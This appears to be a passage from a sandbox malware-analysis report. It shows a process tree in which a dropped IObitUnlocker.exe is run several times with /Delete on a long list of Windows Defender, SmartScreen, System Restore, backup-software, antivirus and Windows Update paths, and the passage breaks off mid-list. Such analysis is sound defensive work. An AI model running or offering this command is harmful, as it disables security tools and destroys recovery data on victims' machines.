                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4616
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:3940
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files 